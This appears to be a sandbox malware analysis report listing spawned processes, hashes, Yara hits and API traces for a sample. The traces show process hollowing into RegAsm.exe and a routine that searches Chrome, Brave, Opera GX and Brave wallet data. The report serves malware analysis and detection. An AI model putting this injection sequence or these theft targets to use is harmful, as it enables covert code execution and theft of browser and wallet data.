Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001B.00000002.2762920375.000000000043A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:59:54
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:59:54
Start date:	30/09/2024
Path:	C:\Users\userIJEGDBGDBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userIJEGDBGDBF.exe"
Imagebase:	0xf30000
File size:	380'456 bytes
MD5 hash:	32C2E31313C3DF4A7A36C72503A5BEBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:59:54
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:59:54
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7ff7934f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	24%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30%
Total number of Nodes:	20
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02CE2139 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02CE20AB,02CE209B), ref: 02CE22A8
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CE22BB
Wow64GetThreadContext.KERNEL32(000002C8,00000000), ref: 02CE22D9
ReadProcessMemory.KERNELBASE(000002D0,?,02CE20EF,00000004,00000000), ref: 02CE22FD
VirtualAllocEx.KERNELBASE(000002D0,?,?,00003000,00000040), ref: 02CE2328
WriteProcessMemory.KERNELBASE(000002D0,00000000,?,?,00000000,?), ref: 02CE2380
WriteProcessMemory.KERNELBASE(000002D0,00400000,?,?,00000000,?,00000028), ref: 02CE23CB
WriteProcessMemory.KERNELBASE(000002D0,-00000008,?,00000004,00000000), ref: 02CE2409
Wow64SetThreadContext.KERNEL32(000002C8,01420000), ref: 02CE2445
ResumeThread.KERNELBASE(000002C8), ref: 02CE2454

Strings

TerminateProcess, xrefs: 02CE2337
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02CE22A7
GetThreadContext, xrefs: 02CE2213
GetP, xrefs: 02CE21BB
aryA, xrefs: 02CE217F
WriteProcessMemory, xrefs: 02CE224C
ReadProcessMemory, xrefs: 02CE2226
Load, xrefs: 02CE2177
CreateProcessA, xrefs: 02CE21ED
VirtualAlloc, xrefs: 02CE2200
ress, xrefs: 02CE21C3
SetThreadContext, xrefs: 02CE225F
ResumeThread, xrefs: 02CE2275
VirtualAllocEx, xrefs: 02CE2239

Memory Dump Source

Source File: 00000000.00000002.2112458721.0000000002CE1000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ce1000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: beb53d174ef303aa695c5a755507f9b3008115740a607b4fd05d9534aea06547
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 09B1E67664024AAFDB60CF68CC80BDA77A9FF88714F158124EA0CAB351D774FA41CB94

Function 01171271 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 011712F8

Memory Dump Source

Source File: 00000000.00000002.2112066080.0000000001170000.00000040.00000800.00020000.00000000.sdmp, Offset: 01170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1170000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8881498496ef09f9d0999cbcb6cefb7682b2b5d807c08435dc972e43384a8b32
Instruction ID: 13da458062af3425729e58e52e0675cd6dd85ba954def2bff627382eddfffb3e
Opcode Fuzzy Hash: 8881498496ef09f9d0999cbcb6cefb7682b2b5d807c08435dc972e43384a8b32
Instruction Fuzzy Hash: 712123B58012499FDB10CFAAC880AEEBBF1FF48310F10841AE919A3250C7755904CBA1

Function 01171278 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 011712F8

Memory Dump Source

Source File: 00000000.00000002.2112066080.0000000001170000.00000040.00000800.00020000.00000000.sdmp, Offset: 01170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1170000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5f57d2563162c3670f2eb0f44a3b3d1934099b0825521a2dbabdde7cb6011451
Instruction ID: 27d2271c3ccc6c79dcc5ad3100e8b1bc8185e3180a8fd64c6b686cd9fce698c5
Opcode Fuzzy Hash: 5f57d2563162c3670f2eb0f44a3b3d1934099b0825521a2dbabdde7cb6011451
Instruction Fuzzy Hash: 0F2113B5800249DFDF10DFAAC880ADEFBF4FF48720F10842AE919A7240C775A910CBA5

Analysis Process: RegAsm.exePID: 3532, Parent PID: 3664COMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418A9A Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00417414), ref: 00418AAE
GetProcAddress.KERNEL32 ref: 00418AC5
GetProcAddress.KERNEL32 ref: 00418ADC
GetProcAddress.KERNEL32 ref: 00418AF3
GetProcAddress.KERNEL32 ref: 00418B0A
GetProcAddress.KERNEL32 ref: 00418B21
GetProcAddress.KERNEL32 ref: 00418B38
GetProcAddress.KERNEL32 ref: 00418B4F
GetProcAddress.KERNEL32 ref: 00418B66
GetProcAddress.KERNEL32 ref: 00418B7D
GetProcAddress.KERNEL32 ref: 00418B94
GetProcAddress.KERNEL32 ref: 00418BAB
GetProcAddress.KERNEL32 ref: 00418BC2
GetProcAddress.KERNEL32 ref: 00418BD9
GetProcAddress.KERNEL32 ref: 00418BF0
GetProcAddress.KERNEL32 ref: 00418C07
GetProcAddress.KERNEL32 ref: 00418C1E
GetProcAddress.KERNEL32 ref: 00418C35
GetProcAddress.KERNEL32 ref: 00418C4C
GetProcAddress.KERNEL32 ref: 00418C63
GetProcAddress.KERNEL32 ref: 00418C7A
GetProcAddress.KERNEL32 ref: 00418C91
GetProcAddress.KERNEL32 ref: 00418CA8
GetProcAddress.KERNEL32 ref: 00418CBF
GetProcAddress.KERNEL32 ref: 00418CD6
GetProcAddress.KERNEL32 ref: 00418CED
GetProcAddress.KERNEL32 ref: 00418D04
GetProcAddress.KERNEL32 ref: 00418D1B
GetProcAddress.KERNEL32 ref: 00418D32
GetProcAddress.KERNEL32 ref: 00418D49
GetProcAddress.KERNEL32 ref: 00418D60
GetProcAddress.KERNEL32 ref: 00418D77
GetProcAddress.KERNEL32 ref: 00418D8E
GetProcAddress.KERNEL32 ref: 00418DA5
GetProcAddress.KERNEL32 ref: 00418DBC
GetProcAddress.KERNEL32 ref: 00418DD3
GetProcAddress.KERNEL32 ref: 00418DEA
GetProcAddress.KERNEL32 ref: 00418E01
GetProcAddress.KERNEL32 ref: 00418E18
GetProcAddress.KERNEL32 ref: 00418E2F
GetProcAddress.KERNEL32 ref: 00418E46
GetProcAddress.KERNEL32 ref: 00418E5D
GetProcAddress.KERNEL32 ref: 00418E74
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E8A
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418EA0
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418EB6
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418ECC
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EE2
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EF8
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418F0E
LoadLibraryA.KERNEL32(00417414), ref: 00418F1F
LoadLibraryA.KERNEL32 ref: 00418F30
LoadLibraryA.KERNEL32 ref: 00418F41
LoadLibraryA.KERNEL32 ref: 00418F52
LoadLibraryA.KERNEL32 ref: 00418F63
LoadLibraryA.KERNEL32 ref: 00418F74
LoadLibraryA.KERNEL32 ref: 00418F85
LoadLibraryA.KERNEL32 ref: 00418F96
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418FA6
GetProcAddress.KERNEL32(751E0000), ref: 00418FC1
GetProcAddress.KERNEL32 ref: 00418FD8
GetProcAddress.KERNEL32 ref: 00418FEF
GetProcAddress.KERNEL32 ref: 00419006
GetProcAddress.KERNEL32 ref: 0041901D
GetProcAddress.KERNEL32(701C0000), ref: 0041903C
GetProcAddress.KERNEL32 ref: 00419053
GetProcAddress.KERNEL32 ref: 0041906A
GetProcAddress.KERNEL32 ref: 00419081
GetProcAddress.KERNEL32 ref: 00419098
GetProcAddress.KERNEL32 ref: 004190AF
GetProcAddress.KERNEL32 ref: 004190C6
GetProcAddress.KERNEL32 ref: 004190DD
GetProcAddress.KERNEL32(753A0000), ref: 004190F8
GetProcAddress.KERNEL32 ref: 0041910F
GetProcAddress.KERNEL32 ref: 00419126
GetProcAddress.KERNEL32 ref: 0041913D
GetProcAddress.KERNEL32 ref: 00419154
GetProcAddress.KERNEL32(76310000), ref: 00419173
GetProcAddress.KERNEL32 ref: 0041918A
GetProcAddress.KERNEL32 ref: 004191A1
GetProcAddress.KERNEL32 ref: 004191B8
GetProcAddress.KERNEL32 ref: 004191CF
GetProcAddress.KERNEL32 ref: 004191E6
GetProcAddress.KERNEL32(76910000), ref: 00419205
GetProcAddress.KERNEL32 ref: 0041921C
GetProcAddress.KERNEL32 ref: 00419233
GetProcAddress.KERNEL32 ref: 0041924A
GetProcAddress.KERNEL32 ref: 00419261
GetProcAddress.KERNEL32 ref: 00419278
GetProcAddress.KERNEL32 ref: 0041928F
GetProcAddress.KERNEL32 ref: 004192A6
GetProcAddress.KERNEL32 ref: 004192BD
GetProcAddress.KERNEL32(75B30000), ref: 004192D8
GetProcAddress.KERNEL32 ref: 004192EF
GetProcAddress.KERNEL32 ref: 00419306
GetProcAddress.KERNEL32 ref: 0041931D
GetProcAddress.KERNEL32 ref: 00419334
GetProcAddress.KERNEL32(75670000), ref: 0041934F
GetProcAddress.KERNEL32 ref: 00419366
GetProcAddress.KERNEL32(76AC0000), ref: 00419381
GetProcAddress.KERNEL32 ref: 00419398
GetProcAddress.KERNEL32(6F6F0000), ref: 004193B7
GetProcAddress.KERNEL32 ref: 004193CE
GetProcAddress.KERNEL32 ref: 004193E5
GetProcAddress.KERNEL32 ref: 004193FC
GetProcAddress.KERNEL32 ref: 00419413
GetProcAddress.KERNEL32 ref: 0041942A
GetProcAddress.KERNEL32 ref: 00419441
GetProcAddress.KERNEL32 ref: 00419458
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 0041946E
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00419484
GetProcAddress.KERNEL32(75AE0000), ref: 0041949F
GetProcAddress.KERNEL32 ref: 004194B6
GetProcAddress.KERNEL32 ref: 004194CD
GetProcAddress.KERNEL32 ref: 004194E4
GetProcAddress.KERNEL32(76300000), ref: 004194FF
GetProcAddress.KERNEL32(6CA40000), ref: 0041951A
GetProcAddress.KERNEL32 ref: 00419531
GetProcAddress.KERNEL32 ref: 00419548
GetProcAddress.KERNEL32 ref: 0041955F
GetProcAddress.KERNEL32(6C850000,SymMatchString), ref: 00419579

Strings

dbghelp.dll, xrefs: 00418F9C
ReadProcessMemory, xrefs: 00418EA6
SetThreadContext, xrefs: 00418EFE
GetThreadContext, xrefs: 00418E90
HttpQueryInfoA, xrefs: 0041945E
CreateProcessA, xrefs: 00418E7A
SymMatchString, xrefs: 00419573
VirtualAllocEx, xrefs: 00418EBC
WriteProcessMemory, xrefs: 00418EE8
InternetSetOptionA, xrefs: 00419474
ResumeThread, xrefs: 00418ED2

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: aa0f42d6bece18c552eb1cc604d7ce581e092ba0f5388f60eaf4689f17314b05
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: D752F475910312AFEF1ADFA0FD188243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 297
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s\%s, xrefs: 00414DF9
%s\*.*, xrefs: 00414D10
%s\%s, xrefs: 00414E10
%s\%s, xrefs: 00414DBC

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcatwsprintf$FileFindlstrcpystrtok_s$CloseCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 2867719434-332874205
Opcode ID: 0373f7e33e9712a6aaa9c354e8b2e5c0fd8c343b66f7e6b9ee176c6bff407bf1
Instruction ID: b7eba5cac22a36ead9a6892618febcd79da0d35a5e48c612e9e7bf25cba82c94
Opcode Fuzzy Hash: 0373f7e33e9712a6aaa9c354e8b2e5c0fd8c343b66f7e6b9ee176c6bff407bf1
Instruction Fuzzy Hash: C7C12AB1E0021AABCF22EF64DC45AEE777DAF08305F0140A6FA09B3151DB799B858F55

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001,004371C4,004367CF,?,?,?), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 4cf74dee808cf48f2e5a41cf2a526be25c32ce2d3aae6e5a91d0756399fd0c2b
Instruction ID: 4ed071eff3b317b22ab60df88982466dd35206364d1ada8e83d6b625ffadc5dd
Opcode Fuzzy Hash: 4cf74dee808cf48f2e5a41cf2a526be25c32ce2d3aae6e5a91d0756399fd0c2b
Instruction Fuzzy Hash: 1AE14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 00409D1C Relevance: 40.9, APIs: 18, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001,0043738C,004367FB), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001,004373A0,00436802), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

\BraveWallet\Preferences, xrefs: 0040A105
Preferences, xrefs: 0040A023
Google Chrome, xrefs: 0040A4B9
Opera GX, xrefs: 00409E8B
Brave, xrefs: 0040A00D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpylstrlen$Find$CopyDeletelstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3650549319-1189830961
Opcode ID: ba4b5442fd12491619ae406a45510cf4bb9dfd52336716e90ec3c1706536e086
Instruction ID: 8a2ad1bd3e2c4d0d486efa7587ece6a9db0f4abfd96dccfa14c2f17897de87a7
Opcode Fuzzy Hash: ba4b5442fd12491619ae406a45510cf4bb9dfd52336716e90ec3c1706536e086
Instruction Fuzzy Hash: 01422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6C5135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C59F688,00001000), ref: 6C5135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C51363F
